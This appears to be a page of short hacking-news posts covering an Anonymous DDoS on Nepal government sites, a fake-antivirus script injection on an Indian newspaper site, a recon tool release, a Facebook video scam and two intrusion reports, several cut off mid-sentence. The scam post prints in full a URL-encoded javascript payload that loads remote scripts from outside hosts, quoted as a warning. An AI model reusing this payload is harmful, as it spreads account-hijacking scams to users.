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#OpEverest :  Anonymous make Central website of the Nepal Government Down Anonymous have new #OpEverest Against Nepal Government . The open letter to Govt of Nepal from Anonymous is as shown. Nepal Government website is down because of DDos attack ! Link : http://www.nepalgov.gov.np/ They have define next some targets also : * http://www.ucpnm.org/ * http://www.nepalicongress.org/ * http://www.cpnuml.org/ * http://www.mjfn.org/ Stay Tuned for Updates :)

Fake antivirus campaign on India’s DNA e-newspaper website ! DNA (Daily News and Analysis) is an Indian daily English language newspaper. According to Wikipedia, DNA ranks 8th among the top ten English dailies in India. Recently, the Zscaler solution was blocking access to this site, as it contained malicious content. Here is the homepage of this website: The ‘Today’s E-newspaper’ link (circled above) is an online version of the printed periodical. We discovered that one of the pages from this e-newspaper site was infected with malicious script. Here is the screenshot of that page: The malicious script tag had been inserted in plain text as can be seen in this screenshot of page source: The malicious script tag directs the victim’s browser to ‘hxxp://vcvsta.com/ur.php’. This page then redirects the user to another malicious site (‘hxxp://www4.to-gysave.byinter.net,), which will again redirect victim to random sites hosting fake antivirus campaigns. Here is the screenshot disp...

QuickRecon v0.3 version released ! QuickRecon is a simple information gathering tool that allows you to: find subdomain names, perform zone transfer, gather emails and find human relationships using microformats. It is a simple information gathering utility based on Qt4 toolkit. Download QuickRecon v0.3 here

New Facebook Scam : WTF I can’t believe you’re in this video ! If you happen to get a new wall post from your friend saying “ WTF I can’t believe you’re in this vid ” or “ ROFL i cant believe youre tagged in this video ” Its a new scam spreading on Facebook. Don’t open or click on this link else it will be posted to all your friends wall, esp. copy any URL [java-script code] and paste in your browser navigation/location bar to help spread the message to all your friends. javascript:(function()%7Bfunction%20s(src)%7Bvar%20script%20%3D%20document.createElement(%22script%22)%3Bscript.src%20%3D%20src%3Bdocument.body.appendChild(script)%3B%7Dvar%20rand%20%3D%20Math.floor(Math.random()*(100))%3Bs(%22http%3A%2F%2Fvideosurge.info%2Fverify.js%22)%3B%20if(rand%20%3C%3D%2025)%20s(%22http%3A%2F%2Fvideosurge.info%2Fconfig.js%22)%3Belse%20s(%22http%3A%2F%2Fbanfish.info%2Fconfig.js%22)%3B%7D)()%3B Most importantly for the user who fall into such scams by clicking the links in impulse. Re...

Ronaldinho website hacked by Osama bin Laden supporter ! Ronaldinho's website has been hacked by someone appearing to support Osama bin Laden. GloboEsporte.com reports the hacker posted a photo of bin Laden and statements supporting Islam, as well as comments in Arabic attacking Ronaldinho's "hatred" of Islam. The site was hacked for a few hours on Saturday, according to the GloboEsporte.com website and other local media. Ronaldinho could not be contacted for comment. He signed with Flamengo in the beginning of the year, returning to Brazilian football after 10 years in Europe. He helped Flamengo win the Rio de Janeiro state championship, but fans had been jeering him recently because of poor performances that culminated with the team's elimination from the Brazilian Cup on Wednesday.

ISI (Pakistan)  hack email account of Indian Army Major ! A serving Inter-Services Intelligence (ISI) officer Major Sameer Ali hacked an Indian Army major's e-mail account in 2010 and extracted many sensitive documents, intelligence sources said. Ali has been named by India in the list of 50 'most wanted' terrorists sheltered by Pakistan for involvement in the Mumbai attacks conspiracy, The news of the hacking was given to Indian probe agencies by the FBI, which was then interrogating Mumbai attack accused David Coleman Headley. The US agency told the CBI Ali had been accessing an Indian Army officer's rediffmail account from the ISI headquarters. The hacked account was traced to Major Shantanu De of 21 Bihar Regiment, who was at that time posted in the Andamans. De's computer was seized and scrutinised jointly by the Intelligence Bureau, National Investigation Agency and the Military Intelligence. What was baffling was that his computer and e-mail had more t...